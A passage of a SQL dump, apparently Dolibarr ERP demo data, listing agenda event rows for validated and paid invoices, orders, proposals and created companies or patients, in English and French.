Dolibarr','2013-08-08 02:54:05','2021-04-15 10:22:55',1,NULL,NULL,2,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1007-0002 changed to paid in Dolibarr\nAuthor: admin',2,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(42,'42',NULL,1,'2013-08-08 02:55:04','2013-08-08 02:55:04',50,NULL,'Invoice FA1107-0006 validated in Dolibarr','2013-08-08 02:55:04','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1107-0006 validated in Dolibarr\nAuthor: admin',3,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(43,'43',NULL,1,'2013-08-08 02:55:26','2013-08-08 02:55:26',50,NULL,'Invoice FA1108-0007 validated in Dolibarr','2013-08-08 02:55:26','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1108-0007 validated in Dolibarr\nAuthor: admin',9,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(44,'44',NULL,1,'2013-08-08 02:55:58','2013-08-08 02:55:58',50,NULL,'Invoice FA1107-0006 changed to paid in Dolibarr','2013-08-08 02:55:58','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1107-0006 changed to paid in Dolibarr\nAuthor: admin',3,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(45,'45',NULL,1,'2013-08-08 03:04:22','2013-08-08 03:04:22',50,NULL,'Order CO1108-0001 validated','2013-08-08 03:04:22','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Order CO1108-0001 validated\nAuthor: admin',5,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(46,'46',NULL,1,'2013-08-08 13:59:09','2013-08-08 13:59:09',50,NULL,'Order CO1107-0002 validated','2013-08-08 13:59:10','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Order CO1107-0002 validated\nAuthor: admin',1,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(47,'47',NULL,1,'2013-08-08 14:24:18','2013-08-08 14:24:18',50,NULL,'Proposal PR1007-0001 validated','2013-08-08 14:24:18','2021-04-15 10:22:55',1,NULL,NULL,2,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Proposal PR1007-0001 validated\nAuthor: admin',1,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(48,'48',NULL,1,'2013-08-08 14:24:24','2013-08-08 14:24:24',50,NULL,'Proposal PR1108-0004 validated','2013-08-08 14:24:24','2021-04-15 10:22:55',1,NULL,NULL,17,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Proposal PR1108-0004 validated\nAuthor: admin',4,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(49,'49',NULL,1,'2013-08-08 15:04:37','2013-08-08 15:04:37',50,NULL,'Order CF1108-0003 validated','2013-08-08 15:04:37','2021-04-15 10:22:55',1,NULL,NULL,17,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Order CF1108-0003 validated\nAuthor: admin',6,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(50,'50',NULL,1,'2014-12-08 17:56:47','2014-12-08 17:56:47',40,NULL,'Facture AV1212-0001 validée dans Dolibarr','2014-12-08 17:56:47','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture AV1212-0001 validée dans Dolibarr\nAuteur: admin',10,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(51,'51',NULL,1,'2014-12-08 17:57:11','2014-12-08 17:57:11',40,NULL,'Facture AV1212-0001 validée dans Dolibarr','2014-12-08 17:57:11','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture AV1212-0001 validée dans Dolibarr\nAuteur: admin',10,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(52,'52',NULL,1,'2014-12-08 17:58:27','2014-12-08 17:58:27',40,NULL,'Facture FA1212-0008 validée dans Dolibarr','2014-12-08 17:58:27','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1212-0008 validée dans Dolibarr\nAuteur: admin',11,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(53,'53',NULL,1,'2014-12-08 18:20:49','2014-12-08 18:20:49',40,NULL,'Facture AV1212-0002 validée dans Dolibarr','2014-12-08 18:20:49','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture AV1212-0002 validée dans Dolibarr\nAuteur: admin',12,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(54,'54',NULL,1,'2014-12-09 18:35:07','2014-12-09 18:35:07',40,NULL,'Facture AV1212-0002 passée à payée dans Dolibarr','2014-12-09 18:35:07','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture AV1212-0002 passée à payée dans Dolibarr\nAuteur: admin',12,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(55,'55',NULL,1,'2014-12-09 20:14:42','2014-12-09 20:14:42',40,NULL,'Société doe john ajoutée dans Dolibarr','2014-12-09 20:14:42','2021-04-15 10:22:55',1,NULL,NULL,18,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Société doe john ajoutée dans Dolibarr\nAuteur: admin',18,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(56,'56',NULL,1,'2014-12-12 18:54:19','2014-12-12 18:54:19',40,NULL,'Facture FA1212-0009 validée dans Dolibarr','2014-12-12 18:54:19','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1212-0009 validée dans Dolibarr\nAuteur: admin',55,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(121,'121',NULL,1,'2014-12-06 10:00:00',NULL,50,NULL,'aaab','2014-12-21 17:48:08','2021-04-15 10:22:55',3,1,NULL,NULL,NULL,0,3,NULL,NULL,1,0,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(122,'122',NULL,1,'2014-12-21 18:09:52','2014-12-21 18:09:52',40,NULL,'Facture client FA1007-0001 envoyée par EMail','2014-12-21 18:09:52','2021-04-15 10:22:55',1,NULL,NULL,9,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Mail envoyé par Firstname SuperAdminName à laurent@mycompany.fr.\nSujet du mail: Envoi facture FA1007-0001\nCorps du mail:\nVeuillez trouver ci-joint la facture FA1007-0001\r\n\r\nVous pouvez cliquer sur le lien sécurisé ci-dessous pour effectuer votre paiement via Paypal\r\n\r\nhttp://localhost/dolibarrnew/public/paypal/newpayment.php?source=invoice&ref=FA1007-0001&securekey=50c82fab36bb3b6aa83e2a50691803b2\r\n\r\nCordialement',1,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(123,'123',NULL,1,'2015-01-06 13:13:57','2015-01-06 13:13:57',40,NULL,'Facture 16 validée dans Dolibarr','2015-01-06 13:13:57','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture 16 validée dans Dolibarr\nAuteur: admin',16,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(124,'124',NULL,1,'2015-01-12 12:23:05','2015-01-12 12:23:05',40,NULL,'Patient aaa ajouté','2015-01-12 12:23:05','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Patient aaa ajouté\nAuteur: admin',19,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(125,'125',NULL,1,'2015-01-12 12:52:20','2015-01-12 12:52:20',40,NULL,'Patient pppoo ajouté','2015-01-12 12:52:20','2021-04-15 10:22:55',1,NULL,NULL,20,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Patient pppoo ajouté\nAuteur: admin',20,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(127,'127',NULL,1,'2015-01-19 18:22:48','2015-01-19 18:22:48',40,NULL,'Facture FS1301-0001 validée dans Dolibarr','2015-01-19 18:22:48','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FS1301-0001 validée dans Dolibarr\nAuteur: admin',148,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(128,'128',NULL,1,'2015-01-19 18:31:10','2015-01-19 18:31:10',40,NULL,'Facture FA6801-0010 validée dans Dolibarr','2015-01-19 18:31:10','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA6801-0010 validée dans Dolibarr\nAuteur: admin',150,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(129,'129',NULL,1,'2015-01-19 18:31:10','2015-01-19 18:31:10',40,NULL,'Facture FA6801-0010 passée à payée dans Dolibarr','2015-01-19 18:31:10','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA6801-0010 passée à payée dans Dolibarr\nAuteur: admin',150,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(130,'130',NULL,1,'2015-01-19 18:31:58','2015-01-19 18:31:58',40,NULL,'Facture FS1301-0002 validée dans Dolibarr','2015-01-19 18:31:58','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FS1301-0002 validée dans Dolibarr\nAuteur: admin',151,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(131,'131',NULL,1,'2015-01-19 18:31:58','2015-01-19 18:31:58',40,NULL,'Facture FS1301-0002 passée à payée dans Dolibarr','2015-01-19 18:31:58','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FS1301-0002 passée à payée dans Dolibarr\nAuteur: admin',151,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(132,'132',NULL,1,'2015-01-23 15:07:54','2015-01-23 15:07:54',50,NULL,'Consultation 24 saisie (aaa)','2015-01-23 15:07:54','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Consultation 24 saisie (aaa)\nAuteur: admin',24,'cabinetmed_cons',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(133,'133',NULL,1,'2015-01-23 16:56:58','2015-01-23 16:56:58',40,NULL,'Patient pa ajouté','2015-01-23 16:56:58','2021-04-15 10:22:55',1,NULL,NULL,21,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Patient pa ajouté\nAuteur: admin',21,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(134,'134',NULL,1,'2015-01-23 17:34:00',NULL,50,NULL,'bbcv','2015-01-23 17:35:21','2021-04-15 10:22:55',1,NULL,1,2,NULL,0,1,NULL,NULL,0,0,-1,'',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(135,'135',NULL,1,'2015-02-12 15:54:00','2015-02-12 15:54:00',40,NULL,'Facture FA1212-0011 validée dans Dolibarr','2015-02-12 15:54:37','2021-04-15 10:22:55',1,1,NULL,7,NULL,0,1,NULL,1,0,0,50,NULL,NULL,NULL,'Facture FA1212-0011 validée dans Dolibarr
\r\nAuteur: admin',13,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(136,'136',NULL,1,'2015-02-12 17:06:51','2015-02-12 17:06:51',40,NULL,'Commande CO1107-0003 validée','2015-02-12 17:06:51','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Commande CO1107-0003 validée\nAuteur: admin',2,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(137,'137',NULL,1,'2015-02-17 16:22:10','2015-02-17 16:22:10',40,NULL,'Proposition PR1302-0009 validée','2015-02-17 16:22:10','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Proposition PR1302-0009 validée\nAuteur: admin',9,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(138,'138',NULL,1,'2015-02-17 16:27:00','2015-02-17 16:27:00',40,NULL,'Facture FA1302-0012 validée dans Dolibarr','2015-02-17 16:27:00','2021-04-15 10:22:55',1,NULL,NULL,18,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1302-0012 validée dans Dolibarr\nAuteur: admin',152,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(139,'139',NULL,1,'2015-02-17 16:27:29','2015-02-17 16:27:29',40,NULL,'Proposition PR1302-0010 validée','2015-02-17 16:27:29','2021-04-15 10:22:55',1,NULL,NULL,18,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Proposition PR1302-0010 validée\nAuteur: admin',11,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(140,'140',NULL,1,'2015-02-17 18:27:56','2015-02-17 18:27:56',40,NULL,'Commande CO1107-0004 validée','2015-02-17 18:27:56','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Commande CO1107-0004 validée\nAuteur: admin',3,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(141,'141',NULL,1,'2015-02-17 18:38:14','2015-02-17 18:38:14',40,NULL,'Commande CO1302-0005 validée','2015-02-17 18:38:14','2021-04-15 10:22:55',1,NULL,NULL,18,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Commande CO1302-0005 validée\nAuteur: admin',7,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(142,'142',NULL,1,'2015-02-26 22:57:50','2015-02-26 22:57:50',40,NULL,'Company pppp added into Dolibarr','2015-02-26 22:57:50','2021-04-15 10:22:55',1,NULL,NULL,22,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Company pppp added into Dolibarr\nAuthor: admin',22,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(143,'143',NULL,1,'2015-02-26 22:58:13','2015-02-26 22:58:13',40,NULL,'Company ttttt added into Dolibarr','2015-02-26 22:58:13','2021-04-15 10:22:55',1,NULL,NULL,23,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Company ttttt added into Dolibarr\nAuthor: admin',23,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(144,'144',NULL,1,'2015-02-27 10:00:00','2015-02-27 19:20:00',5,NULL,'Rendez-vous','2015-02-27 19:20:53','2021-04-15 10:22:55',1,NULL,NULL,NULL,NULL,0,1,NULL,1,0,0,-1,'',33600,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(145,'145',NULL,1,'2015-02-27 19:28:00',NULL,2,NULL,'fdsfsd','2015-02-27 19:28:48','2021-04-15 10:22:55',1,1,NULL,NULL,NULL,0,1,NULL,1,0,0,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(146,'146',NULL,1,'2015-03-06 10:05:07','2015-03-06 10:05:07',40,NULL,'Contrat (PROV3) validé dans Dolibarr','2015-03-06 10:05:07','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Contrat (PROV3) validé dans Dolibarr\nAuteur: admin',3,'contract',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(147,'147',NULL,1,'2015-03-06 16:43:37','2015-03-06 16:43:37',40,NULL,'Facture FA1307-0013 validée dans Dolibarr','2015-03-06 16:43:37','2021-04-15 10:22:55',1,NULL,NULL,12,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1307-0013 validée dans Dolibarr\nAuteur: admin',158,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(148,'148',NULL,1,'2015-03-06 16:44:12','2015-03-06 16:44:12',40,NULL,'Facture FA1407-0014 validée dans Dolibarr','2015-03-06 16:44:12','2021-04-15 10:22:55',1,NULL,NULL,12,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1407-0014 validée dans Dolibarr\nAuteur: admin',159,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(149,'149',NULL,1,'2015-03-06 16:47:48','2015-03-06 16:47:48',40,NULL,'Facture FA1507-0015 validée dans Dolibarr','2015-03-06 16:47:48','2021-04-15 10:22:55',1,NULL,NULL,12,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1507-0015 validée dans Dolibarr\nAuteur: admin',160,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(150,'150',NULL,1,'2015-03-06 16:48:16','2015-03-06 16:48:16',40,NULL,'Facture FA1607-0016 validée dans Dolibarr','2015-03-06 16:48:16','2021-04-15 10:22:55',1,NULL,NULL,12,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1607-0016 validée dans Dolibarr\nAuteur: admin',161,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(151,'151',NULL,1,'2015-03-06 17:13:59','2015-03-06 17:13:59',40,NULL,'Société smith smith ajoutée dans Dolibarr','2015-03-06 17:13:59','2021-04-15 10:22:55',1,NULL,NULL,24,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Société smith smith ajoutée dans Dolibarr\nAuteur: admin',24,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(152,'152',NULL,1,'2015-03-08 10:02:22','2015-03-08 10:02:22',40,NULL,'Proposition (PROV12) validée dans Dolibarr','2015-03-08 10:02:22','2021-04-15 10:22:55',1,NULL,NULL,23,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Proposition (PROV12) validée dans Dolibarr\nAuteur: admin',12,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(203,'203',NULL,1,'2015-03-09 19:39:27','2015-03-09 19:39:27',40,'AC_ORDER_SUPPLIER_VALIDATE','Commande CF1303-0004 validée','2015-03-09 19:39:27','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Commande CF1303-0004 validée\nAuteur: admin',13,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(204,'204',NULL,1,'2015-03-10 15:47:37','2015-03-10 15:47:37',40,'AC_COMPANY_CREATE','Patient créé','2015-03-10 15:47:37','2021-04-15 10:22:55',1,NULL,NULL,25,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Patient créé\nAuteur: admin',25,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(205,'205',NULL,1,'2015-03-10 15:57:32','2015-03-10 15:57:32',40,'AC_COMPANY_CREATE','Tiers créé','2015-03-10 15:57:32','2021-04-15 10:22:55',1,NULL,NULL,26,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Tiers créé\nAuteur: admin',26,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(206,'206',NULL,1,'2015-03-10 15:58:28','2015-03-10 15:58:28',40,'AC_BILL_VALIDATE','Facture FA1303-0017 validée','2015-03-10 15:58:28','2021-04-15 10:22:55',1,NULL,NULL,26,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1303-0017 validée\nAuteur: admin',208,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(207,'207',NULL,1,'2015-03-19 09:38:10','2015-03-19 09:38:10',40,'AC_BILL_VALIDATE','Facture FA1303-0018 validée','2015-03-19 09:38:10','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1303-0018 validée\nAuteur: admin',209,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(208,'208',NULL,1,'2015-03-20 14:30:11','2015-03-20 14:30:11',40,'AC_BILL_VALIDATE','Facture FA1107-0019 validée','2015-03-20 14:30:11','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1107-0019 validée\nAuteur: admin',210,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(209,'209',NULL,1,'2015-03-22 09:40:25','2015-03-22 09:40:25',40,'AC_BILL_VALIDATE','Facture FA1303-0020 validée','2015-03-22 09:40:25','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1303-0020 validée\nAuteur: admin',211,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(210,'210',NULL,1,'2015-03-23 17:16:25','2015-03-23 17:16:25',40,'AC_BILL_VALIDATE','Facture FA1303-0020 validée','2015-03-23 17:16:25','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1303-0020 validée\nAuteur: admin',211,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(211,'211',NULL,1,'2015-03-23 18:08:27','2015-03-23 18:08:27',40,'AC_BILL_VALIDATE','Facture FA1307-0013 validée','2015-03-23 18:08:27','2021-04-15 10:22:55',1,NULL,NULL,12,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1307-0013 validée\nAuteur: admin',158,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(212,'212',NULL,1,'2015-03-24 15:54:00','2015-03-24 15:54:00',40,'AC_BILL_VALIDATE','Facture FA1212-0021 validée','2015-03-24 15:54:00','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1212-0021 validée\nAuteur: admin',32,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(213,'213',NULL,1,'2015-11-07 01:02:39','2015-11-07 01:02:39',40,'AC_COMPANY_CREATE','Third party created','2015-11-07 01:02:39','2021-04-15 10:22:55',1,NULL,NULL,27,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Third party created\nAuthor: admin',27,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(214,'214',NULL,1,'2015-11-07 01:05:22','2015-11-07 01:05:22',40,'AC_COMPANY_CREATE','Third party created','2015-11-07 01:05:22','2021-04-15 10:22:55',1,NULL,NULL,28,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Third party created\nAuthor: admin',28,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(215,'215',NULL,1,'2015-11-07 01:07:07','2015-11-07 01:07:07',40,'AC_COMPANY_CREATE','Third party created','2015-11-07 01:07:07','2021-04-15 10:22:55',1,NULL,NULL,29,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Third party created\nAuthor: admin',29,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(216,'216',NULL,1,'2015-11-07 01:07:58','2015-11-07 01:07:58',40,'AC_COMPANY_CREATE','Third party created','2015-11-07 01:07:58','2021-04-15 10:22:55',1,NULL,NULL,30,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Third party created\nAuthor: admin',30,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(217,'217',NULL,1,'2015-11-07 01:10:09','2015-11-07 01:10:09',40,'AC_COMPANY_CREATE','Third party created','2015-11-07 01:10:09','2021-04-15 10:22:55',1,NULL,NULL,31,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Third party created\nAuthor: admin',31,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(218,'218',NULL,1,'2015-11-07 01:15:57','2015-11-07 01:15:57',40,'AC_COMPANY_CREATE','Third party created','2015-11-07 01:15:57','2021-04-15 10:22:55',1,NULL,NULL,32,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Third party created\nAuthor: 